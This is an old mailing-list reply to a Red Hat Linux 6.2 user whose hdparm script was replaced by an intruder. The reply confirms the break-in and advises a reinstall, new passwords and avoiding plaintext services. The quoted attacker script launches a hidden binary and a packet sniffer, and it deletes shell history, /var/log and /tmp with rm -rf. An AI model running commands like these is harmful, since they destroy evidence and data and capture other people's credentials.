Re: My pc hacked?

> Hello all,
>
> My RedHat Linux 6.2 pc hdparm file was replaced with the following
> contents :-
>
> #!/bin/sh
> cd /usr/share/.pht
> /usr/sbin/xinetd stop
> ./panel -f ./s
> ./linsniffer >> ./tcp.log &
> cd /
> rm -rf /root/.bash_history
> rm -rf /var/log/*
> rm -rf /tmp/*
> cd /
>
>
> All the above listed commands seems to have been executed.
>
> Also a new file named xinetd is available. The details are appended
> below.
>
> I had Ipchains rules allowing restricted access.
>
> Now Is my PC hacked? If so please give details on how it may have been
> done? How do I prevent this from happening again?

Your pc is hacked. At the very least I wouldn't recommend any less than a
complete format and reinstall, save your data files (no scripts, etc.) and
all new usernames and password pairs (strong passwords) all around.
Chances are, like Joan has said, that your entire network is also
compromised. Trust nothing, check everything.

How it could have been done: If you ran either telnet or mail services (or
any of the "r" services) it's just a matter of running sniffer on your
external interface and catching the username/password pair in plain text.
A firewall won't help if you run any insecure services. You won't ever
know for sure how it was done; they cooked all the logs.

Prevention is a trade-off between functionality and security. The more
paranoid you run your system, the less chance of it getting hacked, and
vice-versa. There's a lot to do to secure a system, you're probably better
off getting a security book to cover at least the basics.


-- 
Keith Mastin
BeechTree Information Technology Services Inc.
Toronto, Canada
(416)696 6070